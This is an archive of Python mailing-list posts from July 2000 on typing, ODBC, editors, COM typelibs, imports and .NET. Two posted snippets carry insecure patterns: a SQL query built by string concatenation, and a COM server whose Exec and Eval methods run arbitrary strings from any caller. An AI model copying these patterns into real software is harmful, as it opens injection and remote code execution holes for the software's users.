To make a long story short, gave up on Java, found Python, for looped and
inherited
myself silly.  When I was doing stupid typing tricks, unintentionally,
Python ususally found a way to tell me. Went back recently to Java. No
problem  - Java wants declared types I'll give it declared types.

Am a good sport about it usually.  But the Container stuff.  I've got to
type it on the way out, after having already typed it before it went in.
Not hard. Just annoying.

And some things simple in Python - a list of heterogenous instances that I
can append and
iterate - is a todo in Java.  Java just doesn't want to believe I might want
to do such
a silly thing. But I do.

I certainly can understand why strict typing might be a good feature for
large scale projects.

But I certainly would disagree that it makes it easier to learn programming,
or do programming.




From timaratz at lisco.com  Fri Jul  7 11:24:32 2000
From: timaratz at lisco.com (Peter Timaratz)
Date: Fri, 7 Jul 2000 10:24:32 -0500
Subject: MySQLdb
In-Reply-To: <8k4rep$28j8$1@www.univie.ac.at>
Message-ID: <000801bfe827$7339ce40$a1cb45c6@timaratz>

I'm wondering how stable this module is. A version number of 0.2.x doesn't
instill much confidence in me.

Also, this module says it requires version 3.22.32 or higher of MySQL. My
ISP is running version 3.22.25. Does that mean I'm out of luck?




From markx.daley at intel.com  Thu Jul  6 11:05:24 2000
From: markx.daley at intel.com (Daley, MarkX)
Date: Thu, 6 Jul 2000 08:05:24 -0700 
Subject: mxODBC module
Message-ID: <75F7304BB41CD411B06600A0C98414FC0A41C0@ORSMSX54>

I'm using mxODBC and mxDateTime, but I don't import parts of it, I import
the whole thing and use it from there.  Here is an example:

import dbi, odbc

<snip>

dbc = odbc.odbc(index+'/username/password')
crsr = dbc.cursor()
for name in familyname:
	double = []
	crsr.execute("""select * from subtestlist\n\
where (errorcode<>'null'\n\
AND familyname='"""+name+"""'\n\
AND Packagestarttime>'"""+sql_date+"""'\n\
AND Packagestarttime<='"""+current_date+"""');""")
result = crsr.fetchall()

This allows me to retrieve all data associated with the selected familyname
and put it in result.  I then unpack, format and write the data to a text
file.  This works for me, but you might want to look at
http://www.python.org/windows/OdbcHints.html
Everything I understand about ODBC I took from there.

HTH

- Mark

-----Original Message-----
From: ekw1 at my-deja.com [mailto:ekw1 at my-deja.com]
Sent: Wednesday, July 05, 2000 10:21 PM
To: python-list at python.org
Subject: mxODBC module


I've installed mxODBC along with mxDateTime for Python 1.5.2 on
Windows98.  I'm getting errors when I try to connect to a MySQL 3.23.19
database (which I've used MyODBC to set up ODBC connection to it).

When I try to use ODBC.Windows, I get this error:
>>> import ODBC.Windows
>>> db = ODBC.Windows.Connect("DSN_name")
Traceback (innermost last):
  File "<pyshell#15>", line 1, in ?
    db = ODBC.Windows.Connect("PyNotes")
NotSupportedError: ('S1C00', 0, "[TCX][MyODBC]MySQL can't use
transactions", 4226)

And I can't even import ODBC.MySQL:
>>> import ODBC.MySQL
Traceback (innermost last):
  File "<pyshell#13>", line 1, in ?
    import ODBC.MySQL
  File "C:\Program Files\Python\Lib\ODBC\MySQL\__init__.py", line 7, in
?
    from mxODBC import *
ImportError: No module named mxODBC

mxODBC is on the same directory level as MySQL, but it can't be found.

I don't know what the differences/advantages to either method would be,
but can anyone help me get this working?  I am able to connect to the
MySQL DB via Java and JDBC-ODBC and program it successfully, but would
like to get Python connected as well.  Thanks for any help.

ekw


Sent via Deja.com http://www.deja.com/
Before you buy.




From srs25 at cornell.edu  Tue Jul 25 10:39:06 2000
From: srs25 at cornell.edu (Samuel Scarano)
Date: Tue, 25 Jul 2000 10:39:06 -0400
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <8li6gm024e8@news2.newsguy.com>
Message-ID: <397DA68A.8153C672@cornell.edu>

> > e.g. In the following example, If you want to added a new 'if' between
> > line 1 and 2, you have to add TAB from Line 2 to 199,
> > it's difficult to make sure you don't make mistake. (The case may be
> 
> You ARE joking, right?  If you hadn't mentioned vi, I would still
> be doubtful, but, *with* vi, what can POSSIBLY be easier than
>     :2,199s/^/<tab>/
> ?!

I'll tell you what's easier: 
197>

(although in reality, you would know the line number, so you would say
something like 

ma^f^f^f^f>'a

I'm not posting this just to brag/advtertize/proselytize WRT vi or vim;
rather, I think it's important to point out that good programmer's editors
make it easy to control tabs over many lines, so ensuring that python code
is parsed correctly is really not a problem.

In fact, you have the converse assurance -- that the code you see (in
particular, code written by many people over many years) will be indented
correctly. Wish I could say the same for the C code where I work....

On the other hand, I will say this: the squiggly braces around blocks in
C-influenced programming languages are nice for quickly locating the
opposite boundary of a block (esp. functions). There have been times when I
wanted to skip to the end of along function and wished I could just use
vim's "%" command.

-- 
Samuel R. Scarano                        "Due to circumstances beyond my
Cornell University undergraduate         control, I am master of my fate
<srs25 at cornell.edu>                      and captain of my soul."
http://people.cornell.edu/pages/srs25/             -- Ashleigh Brilliant


From huaiyu_zhu at yahoo.com.bbs  Mon Jul 17 20:40:02 2000
From: huaiyu_zhu at yahoo.com.bbs (huaiyu_zhu at yahoo.com.bbs)
Date: 18 Jul 2000 00:40:02 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operatorsfo
Message-ID: <3bRV23$jXY@openbazaar.net>

On Mon, 17 Jul 2000, Bjorn Pettersen wrote:

> I think you hit the crux of the problem. You want to add syntax that is
> only useful in one domain, and that is too extreme.

I don't buy this dichotomy here: either it is every domain, or it is only
one (meaning limited) domain.  I don't even know if there is a general
meaninful rule to count application domains in integers.

I haven't yet heard much comment about either

a = ["Alice", "Bob"]
b = " is "
c = ["a girl", "a boy"]
d = a .+ b .+ c

or ESR's comment about using .& and .| for lattice algebra, which I suppose
include union and intersection of sets, among other things.

What about the example of plotting graphics of server statistics on the web?
Which domain is it: numerical processing or text processing or visual arts?

I don't see such arguments as any different from the claim that string
literals are sintactic sugar for the single domain of text processing only
(web and re and so on being subdomains).  Since by such definition text
processing is a very large domain I do want string literals even just for
this only domain, even if it does not include everything.

A more reasonable threshold along these lines would be "sufficiently wide",
but I don't see we are going to get clear consensus on that point so I won't
continue on this topic.

> Why don't you create a preprocessor that converts
>
>   a .* b
>
> into
>
>   elementWiseMultiply(a,b)
>
> and create an appropriate suffix for your matlab/python files (mpy?)
> It's a pretty easy thing to do, and sounds much more appropriate in this
> situation.

This could work if there is a hook so that

import mymodule

would automatically run

preprocessor < mymodule.mpy > mymodule.py

anywhere in the path.  It should do this after examining the timestamp just
like current import does.  Otherwise after a few surprises people would keep
.py instead of .mpy so it is just a helper for writing, but not useful for
extending or maintaining code,

On the other hand, if there is an introspective module that affects how the
parser reads the rest of the file it would be eminently useful.

Huaiyu


From grey at despair.rpglink.com  Sun Jul 30 20:59:28 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Mon, 31 Jul 2000 00:59:28 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com> <8luhso41ce8@news2.newsguy.com> <slrn8o6lo2.f91.grey@teleute.rpglink.com> <8m1f0462n4o@news2.newsguy.com>
Message-ID: <slrn8o9jn9.i9b.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 16:29:42 +0200, Alex Martelli <alex at magenta.com> wrote:
>When the format string is expressed as an inline constant you can see it in
>place, but you don't have the other advantages (such as

    Non-issue.  You were expressing your format string as a variable and the
same can happen with variables in line.

>When you end with % vars(), there is no substantial difference.
>When you use the more substantial flexibility allowed by using
>other mapping-objects, if that flexibility is needed, then the
>advantages are many -- see above for a *beginning* to them.

    No, there is no difference.  What you have is a format string with named
placeholders in-line.  You have to define the variables ahead of time.

    I have the same.  

    Difference is you still have to tack on the variables to the end,
regardless of what form they take.

>That's what I would have liked to do, but often couldn't because
>Perl might not be installed on some target-machines, sigh.  At
>least, Bourne-shell could be counted on at the time.

    Aside from Solaris pre-8, what is left that doesn't?  

>for line in fileinput.input():
>    if cre.match(line): print line

>currently makes me even happier:-).

    True.


-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From paul at prescod.net  Fri Jul 14 14:09:41 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 14 Jul 2000 13:09:41 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396E7791.EE9D36FF@prescod.net> <slrn8mt33m.sj.hzhu@localhost.localdomain>
Message-ID: <396F5765.9EFF8DEE@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
>
> How about [x+y: x in [1,2], y in [3,4]]?
> 
> But this has nothing to do with matrices, because one of their main virtue
> is that you do not need to consider the indices.  

I know that it has nothing to do with matrices. My point was that there
is already a patch for Python to allow operations to be "elementwise"
and it is more general than doubling the number of operators in Python.
It allows any expression to be made elementwise (including function
calls and so forth).

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From moshez at math.huji.ac.il  Wed Jul 19 16:45:49 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 19 Jul 2000 23:45:49 +0300 (IDT)
Subject: Python-dev summary: July 1-15
In-Reply-To: <8l4ph6$vj$1@nnrp1.deja.com>
Message-ID: <Pine.GSO.4.10.10007192345020.20274-100000@sundial>

On Wed, 19 Jul 2000, Fr?d?ric van der Plancke wrote:

> In article <3974E8CD.55215FD9 at inrialpes.fr>,
>   Vladimir.Marangozov at inrialpes.fr wrote:
> 
> > [...] the python-dev members are looking for feedback. For instance,
> > read the PEP documents -- they summarize recent and past proposals for
> 
> Sorry I'm dense, but where can I find that ? Where can I find PEP
> documents ?

On the Python CVS archive. Start here:
http://sourceforge.net/projects/python/

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From mlp at my-deja.com  Thu Jul 13 08:51:24 2000
From: mlp at my-deja.com (mlp at my-deja.com)
Date: Thu, 13 Jul 2000 12:51:24 GMT
Subject: TypeLib for Python COM Server?
References: <326536345498D311B3BC00105A39802A07478A@newsintern.dspace.de>
Message-ID: <8kke06$aih$1@nnrp1.deja.com>

that's nice. and thanks for the reply.  however, i already got a python
module for generating a typelib from a python server.  i got it from
arpad kiss.  tell me if you're interested ...

morten



In article
<326536345498D311B3BC00105A39802A07478A at newsintern.dspace.de>,
  Stefan Migowsky <smigowsky at dspace.de> wrote:
> Hi,
>
> there is no general support for typelib generation. But as I know all
> propertiues and methods of a Python COM Server start with the dispid
1000.
>
> So writing the IDL File by hand is no problem. Just take the same
GUIDs,
> Names and the right DispID. So here is a little example :
>
> Python File :
>
> _reg_clsid_ = "{5B24BFC0-EF45-11d3-9B5F-0090274354BC}"
> _reg_libname_ = "PythonComInterpreter Typelib"
>
> class PythonComInterpreter:
>     """Interface PythonComInterpreter"""
>
>     _public_methods_ = ['Exec','Eval']
>
>     _reg_progid_     = "PythonComInterpreter"
>     _reg_verprogid_  = "PythonComInterpreter.1"
>     _reg_clsid_      =  '{281AC1E3-E3D2-11D3-9B37-00902722BDE1}'
>     _reg_desc_       = "PythonComInterpreterClass"
>     _reg_class_spec_ = "PythonComInterpreter.PythonComInterpreter"
>
>     def __init__(self):
>         self.Dict = {}
>         self.Dict["__name__"] = "__main__"
>         self.Dict["__builtins__"] = __builtins__
>         self.Dict["__doc__"] = ""
>
>     def Exec(self, Cmd):
>         exec str(Cmd) in self.Dict
>
>     def Eval(self, Cmd):
>         return eval(str(Cmd),self.Dict)
>
> if __name__ == '__main__':
>   print 'Registering Python COM Server ...'
>   import win32com.Server.register
>   win32com.Server.register.UseCommandLine(PythonComInterpreter)
>   print 'Registering finished'
>
> ######################################################################
> Corresponding IDL File:
> ######################################################################
>
> [
>   uuid(5B24BFC0-EF45-11D3-9B5F-0090274354BC),    // _reg_clsid_
Typelib
>   version(1.0),
>   helpstring("PythonComInterpreter 1.0 Type Library")
> ]
> library Interpreter
> {
>     importlib("STDOLE2.TLB");
>
>     // Forward declare all types defined in this typelib
>     dispinterface IPythonComInterpreter;
>
>     [
>       uuid(281AC1E3-E3D2-11D3-9B37-00902722BDE1), // _reg_clsid_
> PythonComInterpreter Class
>       helpstring("PythonComInterpreter Class")
>     ]
>     coclass PythonComInterpreter {                // _reg_progid_
> PythonComInterpreter Class
>         [default] dispinterface IPythonComInterpreter;
>     };
>
>     [
>       uuid(F8887DE1-EF58-11D3-9B5F-0090274354BC),
>       helpstring("IPythonComInterpreter Interface")
>     ]
>     dispinterface IPythonComInterpreter {
>         properties:
>         methods:
>             [id(1000), helpstring("Executes a Pythonstatement")]
>             VARIANT Exec([in] BSTR cmd);
>             [id(1001), helpstring("Evals a Pythonstatement")]
>             VARIANT Eval([in] BSTR cmd);
>     };
> };
>
> 	Stefan
>
> >-----Original Message-----
> >From: mlp at amrose.dk [mailto:mlp at amrose.dk]
> >Sent: Wednesday, July 12, 2000 1:37 PM
> >To: python-list at python.org
> >Subject: TypeLib for Python COM Server?
> >
> >
> >hi all.
> >
> >i'm in a situation where i'd like to have a typelib for a python com
> >server, for use in a c++ client.
> >
> >i tried to just use midl on an idl i made to reflect the interface of
> >the python server.  this didn't work out, since when compiling the
> >client code the tlb file is not recognized.
> >
> >my question: is there an automatic, easy, or standard, way to produce
a
> >typelibrary for a com server implemented in python?  if not, is it
> >possible at all?  if so, could anybody help me with the details?  a
> >complete example would be splendid!
> >
> >python rules!
> >'gards,
> >morten lind petersen, denmark
> >
> >
> >Sent via Deja.com http://www.deja.com/
> >Before you buy.
> >--
> >http://www.python.org/mailman/listinfo/python-list
> >
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From moshez at math.huji.ac.il  Sat Jul  1 08:49:31 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 1 Jul 2000 15:49:31 +0300 (IDT)
Subject: Transcendentals and Encryption (was Re: Nth digit of PI)
In-Reply-To: <pcovgys9r6j.fsf@math.ntnu.no>
Message-ID: <Pine.GSO.4.10.10007011547180.17559-100000@sundial>

On 29 Jun 2000, Harald Hanche-Olsen wrote:

> + Fran?ois Pinard <pinard at iro.umontreal.ca>:
> 
> | There is an aleph1 number of real numbers
> 
> That is a statement of the continuum hypothesis, which is known to be
> independent of ZFC (the Zermelo-Fraenkel set theory including the
> axiom of choice, on which we tend to imagine all of modern mathematics
> is based).

Ummmm....a lot of modern mathematics based on  ZFC + existence of "large"
cardinals. These can be trivially shown to be strictly stronger then ZFC
via Goedel's theorem, and the fact that under a large cardinal, life seems
to be like ZFC.

matrijn-is-this-progessing-in-the-direction-you-forsee-ly y'rs, Z.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From moshez at math.huji.ac.il  Mon Jul 24 14:44:38 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 24 Jul 2000 21:44:38 +0300 (IDT)
Subject: Python questions from C/Perl/Java programmer
In-Reply-To: <397C6F49.7BEBB207@alabanza.net>
Message-ID: <Pine.GSO.4.10.10007242140460.6509-100000@sundial>

On Mon, 24 Jul 2000, ye, wei wrote:

> 1. Why not use {}?!
> def f:
>     ...
> why not use {} like this:
> def f {
>     ...
> }

Please try to research a bit on Deja. There is a thread about this every
other week. Hint: most people don't write 100-lines long if statements.

> 2. Why variable doesn't have to be declared before use?

Because it takes up script lines and coding time. If you want to catch
bugs in your code, write unit tests. For unit test support, you can try
Steven's PyUnit http://pyunit.sourceforge.net

> I like variable need to be declared before use, alos perfer the declare
> with type, e.g.
> int i;
> object x;
> def f ( object x, int i):

But this *hurts* f's functionality. What if there is an object with the
same interface as int and you want to pass it as a second argument?

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From gjohnson at gs.verio.net  Mon Jul 17 12:52:36 2000
From: gjohnson at gs.verio.net (Tony Johnson)
Date: Mon, 17 Jul 2000 11:52:36 -0500
Subject: Getting local IP address...
Message-ID: <01BFEFE5.8092D940.gjohnson@gs.verio.net>

Why not just do an addr = os.system(ifconfig eth0 | grep inet)
This should return the ip addy of the nic...

Since the way OS's store IP addys is so implementaion dependant, I don't 
see how it could be portable unless people start making a posix way of 
storing an ip addy on top of the os dependant way

On Monday, July 17, 2000 11:33 AM, Aaron Rhodes [SMTP:arhodes at psionic.com] 
wrote:
> Here's a tremendously non-portable way to do it for
> Linux by reading it straight off the ethernet card...
>
> import string,socket,fcntl
> SIOCGIFADDR = 0x8915
> ifname = 'eth0'
> s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> ifr = ifname+'\0'*(16-len(ifname))+chr(socket.AF_INET)+15*'\0'
> r= fcntl.ioctl(s.fileno(),SIOCGIFADDR,ifr)
> addr = string.join(map(str,map(ord,r[20:24])),'.')
> print addr
>
>
> Aaron
> arhodes at psionic.com
>
>
> Stephen Hansen wrote:
> >
> >     Nevermind.
> >
> >     I've discovered i'm intelligent enough to actually chcek Deja and 
get
> > an answer so that i doin't have to spam ya'll with stupid questions :)
> >
> >     Heh. :)
> >
> > --S
> >
> > Stephen Hansen <stephen at cerebralmaelstrom.com> wrote in message
> > news:8ko8qr$7cd$1 at nnrp1.deja.com...
> > > How do I go about getting my dynamic IP address? I want to make a
> > > little program to check periodically (daily or so) and log the 
results
> > > so I can determine how often my IP is getting shuffled. :)
> > >
> > > Thanks :)
> > >
> > > --Stephen
> > >
> > >
> > > Sent via Deja.com http://www.deja.com/
> > > Before you buy.
> --
> http://www.python.org/mailman/listinfo/python-list





From stephen at cerebralmaelstrom.com  Thu Jul 13 15:34:48 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Thu, 13 Jul 2000 19:34:48 GMT
Subject: determining type
References: <396e07fd@news-out>
Message-ID: <sRob5.4255$lS2.49081@typhoon.we.rr.com>

import types

if type(a['item2']) == types.DictType:
    print a['item2']['subitem1']

--Stephen

Mike Mikkelsen <mikk at microbsys.com> wrote in message
news:396e07fd at news-out...
> Hello All,
>
> Is there a way, programmatically,  to determine if an item in a
dictionairy is itself a dictionairy?
>
> consider:
> >>>   a = {'item1': 'hello', 'item2':{'subitem1':'goodbye'}}
> >>>   print a['item2']['subitem1']
> goodbye
>
> Is there a way to tell if 'item2' is a dictionairy, list or simple value
like 'item1'?
>
>
>
> TIA
>
> --
> Mike Mikkelsen                   mikk at microbsys.com
> Micro Business Systems         http://microbsys.com
> Fresno Linux Users Group  http://linux.fresno.ca.us
>
>                  It's all GNU to me!
>




From swun at esec.com.au  Sun Jul  2 21:57:02 2000
From: swun at esec.com.au (Sam Wun)
Date: Mon, 03 Jul 2000 11:57:02 +1000
Subject: multiple inheritance in Python?
References: <395FE156.C0C13FBE@esec.com.au> <etdaeg0103s.fsf@w20-575-116.mit.edu>
Message-ID: <395FF2ED.60B6AD1D@esec.com.au>

Thanks.

Alex wrote:

> > Does anyone have example of implement multiple inheritance in Python?
>
> What sort of example are you looking for?  The basic syntax is pretty
> straightforward, as I understand it.
>
> >>> class A:
>     t = 1
>
> ... ... >>>
> >>> class B:
>     s = 2
> ... ...
> >>> class C(A, B):
>     pass
> ... ...
> >>> C.t
> 1
> >>> C.s
> 2
> >>>
>
> C would also inherit methods from A and B, if they had any.
>
> Alex.

--
Sam Wun                            Firewalls / Security
OneGuard Senior Software Engineer  Electronic Commerce
eSec Limited                       Phone: +61 3 83715376
mailto:swun at eSec.com.au            C++/JAVA/UNIX/OOP/OOD


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000703/232dd1d9/attachment.html>

From lordkaos at my-deja.com  Tue Jul 18 02:29:14 2000
From: lordkaos at my-deja.com (lordkaos at my-deja.com)
Date: Tue, 18 Jul 2000 06:29:14 GMT
Subject: newb question
References: <3973EE1B.15B0B32E@mediaone.net>
Message-ID: <8l0tfe$3th$1@nnrp1.deja.com>

In article <3973EE1B.15B0B32E at mediaone.net>,
  Toy <gee308 at mediaone.net> wrote:
> what is a simple way I can save variables that people enter in from
> 'raw_input' ?  That way, someone enters the variables they want, then
> when the script is booted up everytime the machine starts, it will
grab
> the variables from somewhere.  Thanks.
> Jason Toy
> toyboy at toy.eyep.net
>
>
The tutorial at <a href="http://www.python.org/current/tut">Python's
website</a> tells a simple and easy way to do exactly what you're
saying. If you can get the variables into a class (read section 9, in
particular 9.3) then it is easy to read and write a big set of vars all
together in one operation by using the 'pickle' command (read about
this and easy file creation/opening in section 7.2). I just read over
this and it should answer your question. Come to think of it, raw_input
stores your input as a string, so you can just read() and write() in
one swipe to do the same thing (This would be much easier).

--Jared


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Tue Jul 18 10:35:29 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 09:35:29 -0500
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com> <8kvdon$tit$1@slb3.atl.mindspring.net> <39734BB4.8C24B6E@prescod.net> <3973ef17.387124584@news.nikoma.de>
Message-ID: <39746B31.C7E7267C@prescod.net>

"Philip 'Yes, that's my address' Newton" wrote:
> 
> ...
> 
> Why would ex-Perl-on-Unix-users have to switch to Python if their
> platform disappeared? What makes you think (nearly) no-one on Mac OS or
> Win32 uses Perl?

I think Perl users on non-Unix platforms use Perl to be compatible with
Unix. Python's native support for those platforms is much more solid,
sophisticated and easy to use.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From glandrum at my-deja.com  Wed Jul 19 20:17:48 2000
From: glandrum at my-deja.com (Greg Landrum)
Date: Thu, 20 Jul 2000 00:17:48 GMT
Subject: python extended slicing
Message-ID: <8l5gev$j2a$1@nnrp1.deja.com>


I'm looking to implement a class which should behave like a 2D array,
so I'd like to be able to use extended slicing to make this go.
i.e. I'd like to be able to do:
  result = myInstance[0:-1,3:-1]
and the like and have it behave nicely.

I have figured out how to do this in __getitem__ and __setitem__,
but the code ends up being awfully long and non-pythonic (well, it
looks non-pythonic to me).

I was wondering if anyone knowns of an example of some good
__getitem__/__setitem__ code lying around that I could take a look
at.


thanks!
-greg



Sent via Deja.com http://www.deja.com/
Before you buy.


From rob at hooft.net  Mon Jul  3 02:34:15 2000
From: rob at hooft.net (Rob Hooft)
Date: 03 Jul 2000 08:34:15 +0200
Subject: (Serious?) package namespace problem (and a proposal)
References: <slrn8lknve.1v9.hzhu@rocket.knowledgetrack.com> <395A66C5.E9AC4F3E@roguewave.com> <slrn8lkta6.1v9.hzhu@rocket.knowledgetrack.com> <20000628151611.A2972@freei.com> <8F61C6D29gmcmhypernetcom@199.171.54.194> <ffcmlsc6p4lqohdd6tequdu918l0temns4@4ax.com> <395B6027.B47094CA@letterror.com>
Message-ID: <m2ya3jn2mw.fsf@hooft.net>

>>>>> "JvR" == Just van Rossum <just at letterror.com> writes:

 JvR> <silly-proposal>
 JvR> If relative imports as we know them are shot in the head, an
 JvR> alternative spelling for relative imports could be invented.
 JvR> Eg. with a leading period:

 JvR> import .some.submodule
 JvR> </silly-proposal>

Really interesting view. Like "sh" would mean "sh in the root
directory", and "/bin/sh" means look in the current directory for a
directory bin, which contains sh?

Wrong way around? Wouldn't "from . import os" sound more reasonable?

I still think that if you have a package from which you want to use the
module "sys" or "os" or "string", you can AVOID using sys.py, os.py or
string.py. See your own future code:

from . import string; GLOBALstring=string
import string
....
c=GLOBALstring.strip(command)
string.emit(c)
....


And if you don't know what modules from the standard library
you might need in the future, don't use any of their names in your package.
And finally, claim the name of your package in the http://pitch.nist.gov/nics/
archive to prevent future collisions.

Having your own modules named the same as those in the standard library
is also confusing for somebody else that needs to read/modify your code.

Rob

-- 
=====   rob at hooft.net          http://www.hooft.net/people/rob/  =====
=====   R&D, Nonius BV, Delft  http://www.nonius.nl/             =====
===== PGPid 0xFA19277D ========================== Use Linux! =========


From bjorn at roguewave.com  Sat Jul 22 11:47:39 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sat, 22 Jul 2000 09:47:39 -0600
Subject: Newbie pythoner, with bizzare problem
References: <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net> <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <8lcef2$fbn$0@216.39.151.169>
Message-ID: <3979C21B.AF16B6D@roguewave.com>

Donn Cave wrote:
> 
> Quoth claird at starbase.neosoft.com (Cameron Laird):

[snip]

> | You're also right that
> |   from os import *
> | is, of course, universally deprecated.
> 
> So where do so many new programmers learn to do this?
> This is a serious question.  Is there some tutorial
> out there that leads them astray?

I think it's probably the other way around... the tutorials don't warn
them about it enough. When I started programming Python, I also had the
attitude that "I know what's in that module, and I don't feel like
typing 'os.' everytime I use a function from it -- after all that's why
I imported it..."  Needless to say that has changed ;-)  (I usually
never say "using namespace std;" in C++ anymore either <wink>)

-- bjorn



From alex at magenta.com  Tue Jul  4 03:40:14 2000
From: alex at magenta.com (Alex Martelli)
Date: Tue, 4 Jul 2000 09:40:14 +0200
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <8jabvo014tv@news2.newsguy.com> <uhfa7qn9c.fsf@cs.uu.nl> <8jqbru017gf@news2.newsguy.com> <2f985.6708$Tb7.40527@news-server.bigpond.net.au>
Message-ID: <8js4jc09qf@news1.newsguy.com>

Mark Hammond <MarkH at ActiveState.com> wrote in message
news:2f985.6708$Tb7.40527 at news-server.bigpond.net.au...
> "Alex Martelli" <alex at magenta.com> wrote in message
> news:8jqbru017gf at news2.newsguy.com...
>
> > I believe the only relevant issue for the Python community
> > is: C#, like every other Microsoft offering in recent times,
> > will be *STRONGLY* oriented to COM.  Every C# object will be
> > a COM object (just like every Java object was one when run
> > under Microsoft's Java VM), etc, etc.
>
> Its a little more complicated than that!

Well, there's the "common runtime" library that's apparently
going to be shared between all languages, as opposed to C++
having its own MSVCRT.DLL, VB having its own, etc (we did have
that on IBM mainframes in the '70s, of course, but that's
another issue:-); I guess Python may be able to take advantage
of that.  But I didn't see it as specifically a "C#" issue.
What else...?


> > So, C#'s possible (unlikely...) emergence as a major language
> > is just the N-plus-1-th motivation for Windows versions of
> > Python to support COM *very, VERY* well.
>
> And that!

You mean that it will be COM+-as-originally-promised-lo-that-
many-years-ago (with better metadata support, interceptors, etc),
as opposed to the "COM+" which actually emerged without any
of the really interesting promised features?  But even then,
again, I don't quite see it as a "C#" issue.  What am I missing?


> > Yeah, I know, I should put my coding efforts where my mouth
> > is -- and, having expended substantial efforts doing just
> > this sort of thing for a proprietary scripting language
>
> Please do.  Typelib work may be kicking off again (if I ever clear my
> inbox that is - sorry John - I havent forgotten you :-)  A framework for
> calling arbitary vtable interfaces is also in place.  So what you will
> find is that it needs less "framework" code, and more a motivated and
> skilled person to pull a few of these "late" pieces together.  My
> motivation WRT win32com now is more towards keeping the status-quo - and
> helping _others_ change it :-)

Bill Tutt also wrote to me to the same effect, also suggesting I
join the win32 com-developers mailing list.  Turns out I've been
on it for months, but the traffic is so low that I had forgotten.
*Sigh* guess I'll have to look into "what do I need for CVS work
from a Win32 box" and hope the comments in whatever material I do
get from CVS are enough to explain what is it that needs to be done.


> > Re .NET -- I dunno, and I wish I did!
>
> All will be revlealed after the PDC; less than 2 weeks.  I can safely say

Unfortunately I need to present my take on this to mgmt in just
1 week:-)... what (if any) IS the beef on .NET and what strategy
(if any) do we as SW developers need to put in place to be ready
(if it makes any difference to our products).  Hoped I could find
something to use to leverage Python into "major strategic effort"
status around here, but, oh well.  Guess I'll just keep trying to
sneak it in instead (and/or wait for helpful email, if something
can be mentioned in email and not on this group yet:-).

> (as this is a Python language newgroup and C# is apparently a "competing"
> language), the Python community will probably be more interested in .NET
> than in C#.  _Quite_ a bit more :-)

Which at least implies there IS more to .NET than smoke and mirrors
(and XML and SOAP) -- good to know.  Wish I did know more...


> > I'll do y'all a favour and summarize them into basically
> > two stances:
> >     "It's Microsoft and thus evil, vapourware, immoral,
> >         and/or fattening"
> >     "It's Microsoft and thus good, splendid, progressive,
> >         and/or sexy"
>
> Well put :-)

Thanks:-).


> > I do wonder what other items that have technical reality
> > are in .NET besides C#, XML, and SOAP.  If any, that is.
>
> There are - and a number of them.

Good!  Now if I only knew what:-).  Oh well, guess I'll wing
the presentation based on "need to keep flexibility in such
times of rapid change and uncertainty" and Python's excellence
at such flexibility.  Unfortunately our top mgmt is made up
of smart guys _and_ they're wise to my ways, so I doubt this
will fly (maybe I'd better come clean and confess I know there
IS something but I don't know what and will they allow me one
more month of research...?-).


Alex





